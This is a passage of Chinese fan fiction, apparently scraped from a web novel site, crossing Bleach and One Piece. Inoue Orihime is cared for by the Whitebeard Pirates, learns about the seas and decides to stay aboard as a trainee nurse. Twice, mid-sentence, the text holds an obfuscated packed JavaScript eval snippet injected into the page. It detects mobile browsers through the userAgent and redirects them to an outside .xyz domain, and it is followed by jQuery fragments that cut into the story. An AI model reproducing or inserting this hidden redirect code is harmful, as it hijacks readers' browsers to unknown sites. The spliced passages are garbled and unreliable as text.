比如说大海，她从小听说过东西南北四海，之外的话，地理课上老师也有讲过大西洋太平洋印度洋之类的海洋。 但是伟大航路啊，新世界啊，又或者红土大陆，她完完全全没有听说过。 就好像是，两个世界一样。 有点奇怪。 井上织姬想着，但又怕是自己有失忆的症状会闹出笑话，只是在笔记上写了一笔，然后合上本子。 ——嘛！两个世界总觉得也不是奇怪的事情呢！ 就像现在这样，哪怕知道在原来生活这的地方，枪可不是普通人能拿出来的东西，但是看着以藏哥哥的双枪，还有比斯塔叔叔的两把西洋剑，她都感觉没什么奇怪的。 偶尔也有几个瞬间，会觉得西洋剑好像怪怪的。 像是白胡子爷爷那样的大刀就很酷。 “我的感觉的话，武士刀那种不会更帅气吗？” 井上织姬这样出声道。 武士吗？ 以藏哈哈大笑：“不愧是我们和之国的孩子，提到刀剑的话，当然就是要武士刀啊！” ‘花剑’比斯塔低头瞅着自己的西洋剑，又抬头看着以藏，瘪嘴：“明明自己用的是双枪？” 闻言，小姑娘还一本正经地摇摇头。 “白胡子爷爷的刀也很帅！” 她比划了一下。 “很——大！” “所以超帅气！” 织姬不知道怎么形容，于是双手比划了一下，在空中挥出来一个巨大的圆的弧度。 要说帅气的刀，当然是很大很厚重的那种吧？ 看起来就充满力量感呢！ “毕竟老爹的丛云切是无上大快刀十二工之一，确实很帅啊。”闻言，其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050868|162812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个人也纷纷点头。 “库哈哈哈哈哈哈织姬其实懂得不少啊。” 拎着一个巨大的酒葫芦，再看这群孩子们闹来闹去的白胡子，也笑出了声。 “白胡子爷爷，毕竟我也是补习过常识的！”织姬仰头在笑，“织姬已经学了很多了！” 她抬起手，手里还抓着一张报纸。 “马尔科叔叔让我可以靠多阅读来学习国外的文字，我能看懂很多了哦！” 当然，内容的话，还有很多部分不能理解。 比如说，什么叫海贼王呀？ 为什么海军依然在到处搜查，想要找到海贼王的遗腹子？ 不懂就问是个好习惯，只是船上也不是所有的人都好给他解释这个。 现今，距离海贼王罗杰的死刑已经过了快五年的光景，当初刚刚执行死刑的那一两年，世界上下似乎都在担心罗杰会有后代留下来，海军更是清查得厉害。 取过井上织姬手里的报纸，以藏看了下日期，发现果然是两年前的旧报纸了，是被马尔科翻出来专门给织姬了解过去局势和做阅读理解用的。 以藏想起来上了罗杰的船的御田，还有很多其他的在现今形势下无可奈何的那些，只能默不作声。 “自所谓的大航海时代开启到现在，也已经五年了吧。” 马尔科接手了向她解释这些的工作。 教导孩子从来不是海贼们需要会的，但，总不能叫生活在这个时代的孩子什么都不清楚地生活吧？ 他解释了关于所谓one piece的大秘宝，还有关于海贼王的死亡，还有关于海上的情势和势力分割。 “所以，白胡子爷爷是四皇？四皇！？”井上织姬慢半拍地从马尔科的所言所语里消化信息，之前虽然有听大家在说四皇，但直到现在，织姬才知道‘四皇’所代表的意义。 “！！！”那不就是超超超厉害的意思吗！ 小姑娘低头又看了眼自己刚刚接过来的漫画。 “那白胡子爷爷是不是比海之战士索拉还要厉害更多更多？” “……哈哈哈哈哈哈当然啊织姬妹妹。”比斯塔乐了，“老爹可是最强的！索拉还要差一点点才对！” 北海出生的他当然很喜欢《海之战士索拉》，但是要论强大，当然是白胡子嘛！ 白胡子：“……” 织姬：“……有点想去北海看看了。” 有着只比白胡子爷爷弱一点点的海之战士索拉的大海！ 这个行为，是叫什么来着？ 嗯…… 嗯…… 思索了许久，井上织姬眼睛一亮。 “啊！圣地巡礼！” 4. 第 4 章 以藏发现，分明自己是井上织姬那孩子的同乡，但是那个小姑娘在船上最亲近的家伙，却是马尔科。 比较明显的一点，大概就是在他进行每日一次的给织姬的常识补习结束之后，织姬就会抱着笔记本挪啊挪，慢吞吞挪到了躺在船舷上的马尔科的边上，低头温习着笔记上和之国的文字和外界通用文字的翻译。 为什么？ 总不能就因为马尔科那家伙把她从船下拎到甲板上吧！？ 织姬妹妹明明都被拎恐高了啊！！？ 再说了，第一个发现织姬在下面的，是老爹诶，凭什么那么菠萝头是织姬最黏糊的人啊！ 以藏不爽，以藏不说。 阴森森地扶着桅杆，半个身子藏在后面，眯成死鱼眼的眼睛盯着和船员插科打诨的马尔科，怨气之大，怕是都要飘到空岛上去咯。 如芒在背的马尔科很努力在忽视这个目光。 边上，乔兹拍拍他的肩膀：“你也知道，以藏他因为弟弟不在身边，身份问题也不好轻易回和之国，现在是直接进入过于护崽的时期，don''t mind。” 护崽什么的，鸟妈妈吗…… 马尔科正要咂舌叹气，视线刚刚往回挪的下一秒，肩膀上，乔兹拍上来的手就缓缓收拢，慢慢地，力道也逐渐加大。 这位好同事面露微笑：“所以，织姬妹妹她真的超级黏你啊，马尔科。” 话是正常在说着的，就是语气啊，比夏岛特产的水果醋还要酸。 “啊，这个啊。”对此，马尔科也不太清楚原因，但这不影响他直接打着马虎眼，声音拖长了，有一种懒懒散散的调子，“大概是我比较帅气吧。” ‘砰！’ 飞过来的木桶杯眼看着就要砸在了马尔科的后脑勺上，又被马尔科飞快躲过。 蓝色的不死鸟的火焰在落到甲板前就已经消散，他蹲在栏杆上面，看着从桅杆后跳出来的直接炸毛了的以藏。 “帅个鬼啊马尔科！你小子在织姬妹妹嘴里可是‘马尔科叔叔’啊！得意什么！” 这么说着，以藏一仰头，竖起大拇指比向自己的方向，“我可是哥哥！” 而你，马尔科。 比我才大几岁啊，就是‘叔叔’了！ 说到此，以藏的骄傲尽数显现。 ——臭小子。 脑门直接绷着青筋，此时的马尔科尚且不够那么地‘稳重’，要不是乔滋还硬拉着他，怕是真的要冲上去和以藏好好说道说道，什么哥哥不哥哥的啊，你一开始甚至都是‘姐姐’诶，有什么好得意的啊？ 路过的萨奇手里还端着一盘给织姬加餐的甜凉粉，看着这两位的较劲：“……幼稚。” 本来，无论海贼还是海军之中，女性都是偏于少数的存在，哪怕是白胡子海贼团这样的大海贼旗下，算上附属的海贼团，女性依然是屈指可数，更别提井上织姬这样还处在幼崽的年纪。 日复一日的航行途中，因为早就不是海军能轻易追击的体量的他们，早就无聊得不行，突然天降这么可爱的甚至还记忆混乱的孩子，好好养崽自然就成了现在的第一大事。 现在他们的日常，很大一部分就是在甲板上遇上织姬的话，就随机抽查她关于四海和伟大航路的常识，虽然偶尔会有错漏，但是对于从和之国出进伟大航路的孩子来说，已经是很了不起的进步。 井上织姬本人却似乎是很不好意思的样子，光是手写笔记都已经写了大半本，随口问答要是有回答错了的，当场还能掏出来另一个人本子开始去写错题集。 太认真了，以至于暂时过了把当老师的瘾的以藏都产生了微妙的压力。 ——我应该没有教错什么吧？ 关于四海的常识也是从和之国出来之后才慢慢记住的，要说多细节也不至于，看井上织姬现在的认真样儿，以藏也跟着被动地跟着回忆和复习了一遍。 “是不是太认真了啊，织姬妹妹看起来很紧迫的样子哦？”有人这么说道。 的确，太紧迫了。 是因为以藏那小子太激动了？每天都教学的话，说不定会产生压力？ 船上没几个人有带小孩的经验，就算是马尔科自己，虽然也算是从小在白胡子的船上长大，但，男孩嘛，摔摔打打都是常事，实在细致不到哪里去。 绞尽脑汁猜测可能是那个小姑娘从哪里感觉到有压力了，但具体怎么样才能缓解压力，几个常在织姬妹妹面前刷脸的船员连带着各个番队队长还开了个小会。 最后，解决方式由船长亲自拍案决定。 “直接去问不就行了？” 看着这一船孩子们的抓耳挠腮，白胡子笑得格外快活，难得看臭小子们因为这么毛茸茸的小问题在困恼着，有趣之余，他如此问道。 啊。 对哦。 也能直接问的。 于是，井上织姬最‘亲近’的马尔科，直接被一把推出来，在前线冲锋。 马尔科：“……” 有很多话想说，但是张张嘴，说不出来。 转身走去在船头安安静静抱着报纸在看的井上织姬，马尔科手绕在伸手，默默地冲着那群在往这边在看的混蛋们比了个……中指。 身后瞬间炸开来的叽叽喳喳叫骂声，顿时，马尔科神清气爽。 - “下午好哦，织姬。” 轻轻巧巧一跳坐上了栏杆，马尔科盘腿看着在抬头的织姬，小姑娘眼睛笑得弯了起来：“下午好，马尔科叔叔。” ……啊，又是叔叔。 我看起来真的很老？ 在大海上风吹雨打的，好像是糙了点啊？ 摩挲了下下巴，只是想了几秒，马尔科放弃思考。 “也就还有几天就要靠岸了，织姬有想好后面的事情吗？” 马尔科问她，就像白胡子前面说的那样，直接问就好。 于是，他问的也坦然，单刀直入的句式反而让井上织姬愣了一会儿。 “实话说的话……” 织姬折好手里的报纸，“我还没有想好，因为对这片大海，无论哪里，都很陌生。” 她看起来很紧张，手指抓着衣摆，视线左摆右摆，最后望着眼前甲板的木质纹路。 “说不定我可以找个好地方打工呢！” 井上织姬手握拳，就这么丁点儿大的小孩，志气倒是还蛮高涨的。 她想多试试这里的面包，萨奇叔叔做得就很好吃了，不知道面包店里的会不会更好吃？ 目标的话，大概就是赚到钱，好好生活吧？ 世界地图上没有叫做日本的岛，名为和之国的以藏哥哥的故乡虽然和日本很像，但是问了之后，似乎又是不一样的地方。 赚到钱之后，还可以继续念书，或许等自己再长大一点，也可以出海，去找找回家的路。 虽然没有一定要回去的理由，但是生活费什么的，亲戚家的大人们也帮衬过许多，无论是道谢还是道别，都要说上一句才行。 要做的事情仔细列出来其实没有多少，但是对于井上织姬现在瘦弱的肩膀来说，还是太多太重。 “打工，吗。” 马尔科抿嘴，他看着井上织姬的橙色头发，那是一抹在大海里看起来格外亮眼的亮色。 “为什么不考虑留下来呢，织姬？”马尔科问出来这句话的语气也很平淡，就好像是问你今天中午要吃什么的那种轻巧。 “学习大海上相关的知识也是这样，你看起来是在很努力在学那些。” 他抬起手去摸摸那孩子的头发，是很柔软地如同想象中那种的触感，“但是你还小，不用那么紧迫。” “织姬，你完全可以在你想做的时候再去做那些事情，大海那么宽广，时间也还有很多，那些所谓的常识，你可以自己去走一走看一看，而不是只靠着文字去记忆。” “你也有留下来和我们继续航行的这一个选择。” 推心置腹的聊天有点不适合海贼这样的底色，但是开口了的话，就会很自然而然地把接下来的话给说出口。 时间，还有很多吗？ 平淡的话语砸在井上织姬的耳膜上面，带来了片刻的无法被平复的怔楞。 井上织姬不是不知道自己身上有古怪的地方。 比如说相貌和身高，明明记得自己已经上高中了，但是镜子里的自己却像是十来岁的模样。 再比如说是最显而易见的身处的地方。 分明察觉到了不对，但她还是没有对非常亲切的对她很好的大家坦白这件事情，井上织姬其实是有点担心的。 她怕自己会太奇怪了，坦白自己或许不是和之国的人之后又会遇见什么，织姬猜不出来，也不太敢猜。 可是现在，把她从海上拉起来的很好的马尔科在说，你还有一个留下来的选择。 “真的可以吗？” “我……” 井上织姬想，自己似乎不是当海贼的料，她也还没有做好这个心理准备。 或许是看出来了她的未尽之语。 这孩子其实很好看懂，船上的大家基本上都有这样的共识。 她并不能很好地藏起来自己的表情，有些天然，又有些显得倔强的认真，心里有什么情绪翻涌，最先表达出来的就是会皱起或者扬高的眉头，还有会抿起或者鼓起来的嘴唇以及脸颊。 马尔科：“啊，果然是因为海贼船所以会有压力吗？” “才不是！”织姬一惊，赶紧太高了声音在反驳，“船上大家都是很好的人！只是我自己还没有想好！” “哈哈哈哈哈是嘛，那就好。” 闻言，马尔科毫不客气地揉了揉织姬的头顶，“那就不要想太多啊，做你真正想做的选择就好。” 小孩子嘛，有主见是好事。 才不想当什么独断专决的坏大人的马尔科对她比了个大拇指。 “等做好决定的话，直接跟我说就好哦，织姬。” “毕竟……” 他慢悠悠拖长了自己说话的调子，“我是你在船上最亲近的哥哥嘛。” 这句话多少掺了点儿马尔科的私心。 ——注意哦注意，是哥哥，不是叔叔！ ——叫我青鸟什么的倒也不是大事，但是，是哥哥，不是叔叔！ 不过嘛，仔细想想，让人家小姑娘直接喊哥哥也很奇怪，反倒是显得自己比较在意年纪似的。 “平时喊我们的话，直接叫名字就好，再加后缀什么的不会觉得太长了吗。” 于是，很不在意年纪的马尔科云淡风轻补上了一句。 低头对上井上织姬弯弯的眼睛。 有点心虚，马尔科移开视线。 “嗯！” “马尔科！” 有个高个子的人坐在边上，对于织姬来说其实是一件好事，毕竟海上没有其他的遮挡，为了看报纸能有足够的光线，织姬都是直接坐在船头，又没有其他的遮挡。 马尔科往边上一杵，投下的阴影正好可以给织姬遮住部分直晒的阳光。 聊天这件事本来就不应该给人什么心理压力，马尔科说话的调子又向来偏向于慵懒平静，偶尔搭一嘴话，就这样子，两个人也陆陆续续聊了很多。 马尔科知道了井上织姬记忆那些知识会紧迫的原因，因为这孩子曾经的生活费都需要远房亲戚帮衬，还得要学习好才能得到学费继续念书，所以她在学习方面会显得格外认真。 他还知道了织姬这孩子成绩很好。 海上长大的男人对于学习这件事没什么概念，但也真心实意地夸奖了织姬的厉害。 井上织姬也知道了一些额外的关于大海关于白胡子海贼团的小知识，比如说关于白胡子海贼团的领地里，哪里的点心最好吃，又有哪里是会盛产美味的果子。 这片大海真的很神奇。 尤其是在织姬听说了鱼人岛的点心最美味的时候。 鱼人岛，是鱼人和人鱼的故乡。 就像她从小就知道的童话故事里说的那样，人鱼貌美，擅长歌唱，还会有一条长长的亮晶晶的尾巴。 鱼人则是高大强壮的类人形，鱼类的特征会更加明显一些的种族。 左眼写了‘想’，右眼写了‘去’，井上织姬的小脑袋瓜里已经闪过了自己看过的一整部的《小美人鱼》的迪士尼动画电影。 虽然鱼人岛和世界政府之间的关系一直处在微妙的不和谐的僵持之中，但人类和鱼人岛上，都有人在为了两个种族的和谐尽心操持。 鱼人岛的尼普顿国王和白胡子的交情不错，于是白胡子的海贼旗飘扬在鱼人岛的领土之上，有世界上最强的男人的威慑力在，这段时间，人类海贼在鱼人岛上也多有收敛。 虽然依然止不住会有胆大包天的绑架集团会和拍卖场相互勾结，但情况总归是在变好的过程中。 见到织姬突然亮起来的堪比两颗小灯泡的眼睛，马尔科噗嗤笑出了声音：“人鱼咖啡厅也算是鱼人岛的招牌哦！” 想去！很想去！ 非常想去！ 矜持让井上织姬没有直接出声，但是眼巴巴抬头看着的表情又实在是可爱。 等之后一起去呗。 这句话马尔科没有就这么直接说出口，毕竟留下来这件事可不是只是为了一段旅程就能冲动下决定的。 不过船上大家倒还都挺希望这孩子能留下来的。 甜甜的会喊你哥哥或者叔叔的小姑娘，谁不喜欢？ 谁要是半夜三点敲萨奇的门说要吃夜宵，保准会被这位一拳头给轰到海里，但是最近织姬妹妹学通用语学得认真，他竟然能一两点直接把夜宵给做好放人门口。 可爱能治愈人心，也能为所欲为，这句话可不是说假的。 更别说小姑娘一来船上，瞬间获得了已经看腻了一群大老爷们的护士小姐们的芳心，只要织姬妹妹想，她就可以是莫比迪克号食物链上仅次于老爹的那个位置。 嘛，织姬妹妹倒是没有这个自己超级受欢迎的自觉，只是感觉周围大家都很亲切就是了。 “性格好胆子也不算小，很快就和我们熟悉起来了。” 护士组的小姐们如此说道，“最近还会来医务室这边帮忙打下手哦，织姬妹妹超乖的！” 非战斗组的女士们性格却是一个比一个火爆，看着温温柔柔的，但却是能穿着高跟鞋就差在甲板上蹬出来洞的狠人，她们可是捏着看起来没力气的拳头给警告过：“要是欺负女孩子的话，以后来医务室缝伤口就没有麻醉镇痛了哦。” 被警告了的船员们唯唯诺诺，抗议的眼神也曾经试图飘到马尔科身上。 结果那位一番队队长呵呵笑了两声：“抗议什么，难道你们还真想欺负小孩不成？” 他掀开嘴唇，笑得轻巧，“皮糙肉厚的，少打一针镇痛又没事哦。” 莫比迪克号是白胡子海贼团的主船，人多，心也杂。 大家都是对老爹真心爱戴是一回事儿，但海贼的底色是混乱，会不会欺负小孩子这事儿还真说不准，事先先把话说明白了总归不会出错。 “不过自从罗杰开启了大航海时代，现在海上可是一片混乱啊。” 想到这个，马尔科也是一阵头疼。 也不是没被人调侃过自己才是真正的鸟妈妈，但是想到不管井上织姬是要留下来还是找个小岛留下，这个世道不太平，她又完全没有保护自己的力量。 现在织姬还没有想好去留问题，下个岛靠岸或许她还是要先回到船上来的，是不是还得要教点防身的把式？ “枪斗吧，和我学枪斗！” 莫比迪克号第一届养孩子大会，正式开始。 主持人：‘不死鸟’马尔科 参与者：萨奇，以藏，比斯塔…… 利索地从腰带后面抽出来自己的双枪，抬腿踩在椅子边上，以藏的动作那叫一个豪迈，二齿木屐敲在椅子的边缘，哒哒作响：“年纪小眼神好，射击正正好啊！” 花剑比斯塔摇摇头，表示自己的不认同：“女孩子学击剑正好，有力量又优雅。” “织姬现在个子小到匕首都能当刀用，刀剑太长腕力又不够，根本没办法速成。” 有理有据辩驳着自己不满意的选项，以藏转了一下手里的枪，“枪还能找后坐力低的，用刀剑的话，新手练居合都能把自己给甩出去。” 奈米尔摇摇头：“鱼人空手道也是个好的选择！” 如果是小子的话，摔摔打打身手也就练出来了，但是很显然的，井上织姬并不是不怕挨打的臭小鬼，她就如同表面上看着的那样，明媚且又细致柔软，武力之类的词语压根不适合她。 马尔科的提议是他可以配出来一点麻醉剂之类的药品，□□虽然船上不多，但武器仓里也是有配置的，可以分成小剂量的弹丸给织姬随身带着。 不管是刀剑还是枪斗，又或者是鱼人空手道，都逃不了大量的练习，这种情况下，没有底子的小孩在遇到纷争的时候，硬着头皮上也只会吃亏。 遇上事情的话，想办法制造机会逃才是第一要义。 扔在地上就炸开的弹丸，或者随身带几个一次性的针剂，其实要更加适合容易被人近身的小孩子。 “……什么啊，这不是已经考虑得很周全了吗，马尔科。”以藏哼了一声，“鸟妈妈果然是鸟妈妈。” 马尔科：“……” 船上救过的庇护过的孩子其实很多，但亲手从海面上救上来的孩子，总是会有点儿特别的意义。 一定要找个词句来作为形容的话，或许就是，马尔科觉得自己需要对亲手救上来的生命负起责任。 以藏或许也是差不多的心态，他想要成为同乡的流落在海外的孩子的保护伞，有移情的成分在，但是归根究底的，这也是一种责任感。 那么，既然要做，就要做得周全一点。 “意思意思给你们一个参与感。”马尔科轻轻道，“毕竟我是织姬最喜欢的哥哥么。” 以藏：“哈？” 直接炸毛的某位知名不具十六番队队长抽搐着嘴角：“你在说什么瞎话啊马尔科叔~叔~” 下午才亲口从井上织姬那边问了她为什么会不害怕海贼的原因，成功套到了话，连带着知道了她会那么亲近自己的原因，马尔科现在的心情可以说是大好，犯不着和其他人打闹。 [就算觉得船上的大家很亲切，但，织姬你知道的，海贼啊——] [可是马尔科叔叔很明显就是好人，声音也是很温柔很好听的声音！]< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050869|162812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> [声音？] [嗯！声音！] 小姑娘耳朵很不错嘛。 马尔科微妙地保持了一种得意，嘚瑟着和眼前大家炫耀了一波。 “就这个说话懒洋洋的强调，哪里好听啊？” 对此依然有人不解。 而马尔科表示啊，这都是嫉妒，明晃晃的嫉妒。 “嫉妒个鬼啊你这个菠萝头青鸟！” 呵，果然是嫉妒了。 语言都充满了超级低的杀伤力哦！ - “诶！防身术，我吗！？” 还有两天就要靠岸了，织姬才堪堪从以藏口中得知了自己要学习一些防身术的事情。 以藏点点头，伸手帮织姬扶正了腰带上的蝴蝶结。 “我这边找了一把女生会适合用的后坐力很小的墙，记得随身带。”他说着，把一把袖珍的左轮别到了腰带的侧后方，蝴蝶结正好可以挡住那边不自然的突出。 他一边还在碎碎念着：“奈米尔会教你一点儿很好掌握的鱼人空手道的部分，都是借力打力的部分，不过用不到才比较好。” “针剂啊□□那些等一番队那边整理好，会单独给你。”以藏的语气也很温和，“就算觉得船上的氛围还不错，织姬，也别对海贼掉以轻心，知不知道？” “知、知道。” 井上织姬被以藏说的这一串给惊得一愣一愣，等回答完了之后，才反应过来，慌乱地抬手摇着，“可，可是打架这种事情，我不太擅长啊以藏哥哥！” 说得有些急了，导致说完之后才发现自己的句式忘记带了敬语，织姬赶紧补上一个句末的哥哥，又小小声的带着歉意说，对不起。 啊，真的是个连动手都不擅长的小孩子呢。 帮忙调整领口别着的珠花的角度，以藏纠正着织姬所说的话。 “不是打架。” 他强调着，“不要用会让自己有负担的思路。” “就想着，也许你会需要帮助谁，又或者需要让自己摆脱现状，给你的那些都是应对那些情况的关键道具。” “Ummm……” “让我想想，该怎么说呢？” “这只是万不得已情况下的反抗手段，用不上才是最好的。”以藏这样说道。 - 时隔多天，终于踩在了实地上面，饶是井上织姬是不会晕船的类型，也在下船踏上码头的的那一瞬间感觉到了头晕目眩之感。 这座小岛只是一座伟大航路里再普通不过的小岛，全岛只有一个码头，商船和客船都会停留在这里，岛上有几个村庄，仅有的一条靠近码头的比较大的街道被用来当做了整个小岛的集市，唯一的综合型店铺也看起来都没多大。 新鲜的带着海风的空气，还有一点儿岛上的青草味，这对织姬来说也是一种新奇。 大半个月的航行生活对织姬来说已经足够长久了，哪怕风中依然还有大海的味道，但总归还多了点热闹劲儿，她很喜欢这种新的体验。 早早看见了远处莫比迪克号的逐渐靠近，早就年迈了的大村长都颤颤巍巍拄着拐杖往码头跑了过来。 井上织姬这才注意到，码头这边的最大的一家卖鱼的店铺屋顶上，白胡子的海贼旗正在迎风飘荡。 村长看着眼前的大船，直接来了个泪眼汪汪泪如雨下，嘶哑的声音说着，自从上一次看见他们都已经是三四年前的事情了。 “如果不是你们来到岛上，我们可能会直接死在山贼的刀子底下。” 老人家苦涩地说着，抬手指挥着镇上的年轻人搬出来新酿的果子酒：“老头子我没有想过竟然有一天还能等到你们航行回来，好啊，太好了……” 年纪大了，人就会喜欢忆往昔。 浑浊的眼泪掉完，随即又露出了没有牙齿的笑，他看起来开心极了，在说，自己真的很感激白胡子愿意在他们这个贫瘠的小岛上留下旗帜，这些年偶尔也会有海贼过来停靠，但是看在白胡子海贼旗的悬挂，大多数都忌惮着没有动手闹市。 “偶尔还会有商船过来，带动了我们浆果酒的销量，生活也总算不那么紧巴巴的。” 都是好事情啊。 伟大航路上的岛有很多，贫瘠的也同样很多，他们岛上唯一拿得出手的也就是特色浆果酿造的浆果酒，但放在世界上来看，依然还是不够格的一款酒类。 每年出口就那么一些，赚来的钱也不过就刚刚够岛不至于过分潦倒，偏偏还又惹来了山贼的觊觎。 那个时候，白胡子的海贼船也是来得刚巧，老村长说，他们也从来没有想过岛上竟然会有这样的大海贼出现，本来以为是死到临头的日子，偏偏大海贼却是有仁义的好人。 他说，年轻的时候曾经在外面的岛上尝过一口这儿的浆果酒，可不能让山贼破坏珍贵的风味。 于是啊，甜浆果岛成了白胡子的领地，商船之中也有听闻白胡子的传言的，大海贼团的仁义或许对于普通人来说还太遥远，但是他们的守信用和偏于安定的风格已经足够远扬，还有不少商船会愿意偏一下航线过来做做浆果酒的生意。 这都是拖了白胡子海贼团的福。 ——听起来是好事呢。 岛上难得开起来了宴会。 萨奇说，这里的浆果味道的确是好，酸甜口又不会过于强烈，因为土壤和气候的原因，还有着一种独特的风味。 他们酿酒是用的山上溪流水，清甜可口，酿出来的酒味道也不会厚重，比起说是‘酒’，倒不如说是一款口感比较清爽的浆果果汁。 “小孩子也能喝哦——” 萨奇给井上织姬也满满倒了一大杯。 “可我还没有……” 成年。 井上织姬说着，手指却蠢蠢欲动，抓住了杯子的把手。 谨慎且小心的，像是小动物那样子伸出舌头。 呲溜—— 舔上一口。 “……这不完全就是酒吗，萨奇叔叔！” 吐着舌头，织姬苦着一张小脸，欲哭无泪。 “哈哈哈哈哈哈我们织姬妹妹是完全没有碰过酒的乖孩子啊。”萨奇直乐呵，那了片在火上热过了的吐司片，抹上厚厚的一层浆果果酱。 萨奇：“喏，用果酱来说，味道也很好吃哦。” 井上织姬：“……！！！” 有点酸，但是果酱是厚重的浓郁口味，好好吃！ 尤其喜欢吃面包的小姑娘顿时脸都红了，认认真真低头和那块过于大了的吐司片在搏斗。 身边，静悄悄的，坐下来又一道身影。 织姬：“马尔科叔……马尔科？” 还记得被要求过改称呼的事情，虽然有点不习惯，但那是织姬还是临时刹住，记得改口了。 “喏，织姬。” 马尔科抛给她了一个小巧的袋子，还是嫩黄色的带着小花的呢！ “里面三针强效麻醉剂，一支能麻倒整只海王类。” 他说：“剩下来的，绿色的是□□，红色的是小型火药，带引线了，最前面的引线材质是用手使劲摩擦一下就能点燃的，拿好哦。” 小袋子是刚刚临时去商铺里面买的，商铺的店长是一位老婆婆，上次来岛上的时候，老婆婆也在，年纪大了，还老眼昏花了，一脸慈祥地说着，没想到五年过去了，马尔科小哥的女儿都这么大啦，袋子就不收钱了，是阿婆给的礼物哦。 ——可恶啊！ ——我才二十多岁啊！！！ 顶着耷拉下来的菠萝叶子，马尔科叹气，也没有多和老人家辩驳这个。 他坐在织姬的边上，给她带了一杯加了几块冰块的浆果果汁。 还有一只袋子也落在了织姬的手里。 “零花钱。”他说，“买几件喜欢的衣服吧，织姬。” 身上穿着的仍然是护士和以藏提供的衣服，不算贴身，织姬也从来没有提过想要买衣服的要求。 但不提又不代表没有需求，马尔科没有忘记这个。 “谢谢哦，马尔科。” 宴会上，小姑娘坐在了火光的边上。 橘色的光映照着她橙色的头发，整个人都像是个暖融融的小太阳。 井上织姬靠在他边上，海岛上的夜晚总是有些冷的，这个人坐在上风口，挡掉了一部分的凉风。 “总感觉。” 很安心， 和哥哥不一样的，但是很安心呢。 她偷偷地在想着，其实海上的生活也不错，其实，她也不是那么急着要回去。 这里很好。 有好吃的是没有吃过的风味果酱面包。 还有很多的小岛。 是没有接触过的她的旅途，这或许是一段新的人生。 “我在船上能帮得上什么忙吗？” 织姬小声在问。 “护士姐姐们都很忙，或许，织姬也可以学吗？” 她说，“要是能帮得上忙就好了，治疗伤口之类，我也可以做到的！” 说到这个，语气倒也放大且又坚定了两分。 马尔科哈哈笑了。 “我们一番队的医疗组可是常年缺人的状态。” 他说，“实习护士小姐，欢迎加入啊。” 5. 第 5 章 知道新捡来的妹妹有很大可能性会留在船上，但事情真的敲定下来的时候，一众就差两看相厌的大老爷们还是爆发了欢呼。 其中以以藏最激动，举着手里的木桶杯开始喊续杯。 “宴会！” “为了庆祝织姬妹妹上船！” “开宴会啦！” 甜甜浆果岛上没有那么多物资能供得上一整艘莫比迪克号的人的宴会，甚至因为岛不大，住的地方都不够，在山坡上点了篝火铺了毯子，也不过就坐下了一半都还不到的人，剩下的人则是留着在守船，到时候轮番换着下去采买个人物品。 饶是这样，井上织姬决定留在船上这件事还是以最快的速度传到了船上，萨奇都笑呵呵地，当场决定要给做一顿大餐。 于是，莫比迪克号上紧急放下了几艘小船下来，上面还都是队长级别的人物。 乔兹晃了晃拳头，对岸上好奇的小姑娘说：“我们去打两头海王类回来吃，很快的！” 留下来的萨奇更是原地在空地上磊起砖块在做土灶，莫比迪克号上的食材还有不少，也都搬了下来。 天色都还没完全黑下，岛中陆续有年轻孩子在好奇往着过于热闹的这边张望，但是到最后，也就只有和他们早前认识的老人家们来搭过话，其他人都不敢靠近。 留在篝火边上的织姬还在咬着她的面包片，脑筋都一时转不过弯来，不明白怎么话题又错开到要开宴会的这件事情上面去 以藏笑眯眯：“因为只是那群混小子们喜欢开宴会，又正好有理由能开宴会。” 这样啊。 井上织姬点点头，不过从表情看来，小姑娘其实是还没有理解这个。 她抓着果汁杯子的边缘，咕嘟咕嘟在喝，眼睛却是灵动地滴溜溜到处看。 “以藏哥哥，海王类是什么？” 关于海上的国家啊局势啊这些小知识都学了不少，但是生物学知识，井上织姬还停留在幼稚园的时候，园内还有个养兔子的笼舍。 海王类是个陌生的词。 井上织姬知道的‘王’，可能只有动物小百科里看来的百兽之王老虎这一种。 “啊……” 摩挲着下巴，以藏琢磨着怎么解释这个。 因为太平常了，以至于找不到能够解释的方式。 “比较大一点的鱼……吧？”他说，“因为比较大只，所以才要去好几个人。” 去好几个队长级的还不是怕打不过，而是怕海王类怕了不往这边来，让鱼人那缪尔在海底下把海王类往这边赶，剩下的人包围式地等着宰鱼。 很大的鱼啊…… 会有一米那么大嘛？ 井上织姬好奇地想着，直到过了两个小时，不远处的几道黑影越来越近，越来越……大。 “！！！！” 这不是怪兽吗！完全就是怪兽那么大了吧！ 小姑娘仰头看着杵在岸边的已经被打晕了的海王类大脑袋，头越抬越高，又差点给自己仰头摔个屁股墩下去。 能钓这么大的鱼的叔叔们…… 她看着甩甩手跳上岸的钻石乔兹还有那缪尔他们。 ——是，奥特曼啊！ 织姬无声地‘哇——’了一下，眼睛显然更亮晶晶了，直往他们身上瞅着。 是奥特曼啊！ 等身大小的！奥！特！曼！ - 眼睁睁看着自己的小妹妹变成了别人屁股后面的小跟屁虫，以藏抗议，叫着说只是打了两三头海王类，没有那么厉害，他一个人能打五头！ 琢磨着海王类的一百零八种做法，萨奇也默默伸出两只手：“那我能打十头。” 以藏：“二十头！我绝对能打二十头！” 萨奇：“海王类巢我都能杀进杀出！” 马尔科：“……” 白胡子船上的队长级，打不过才是奇怪的是，你们争啥呢？ 而且啊。 他的视线挪回到了织姬的身上。 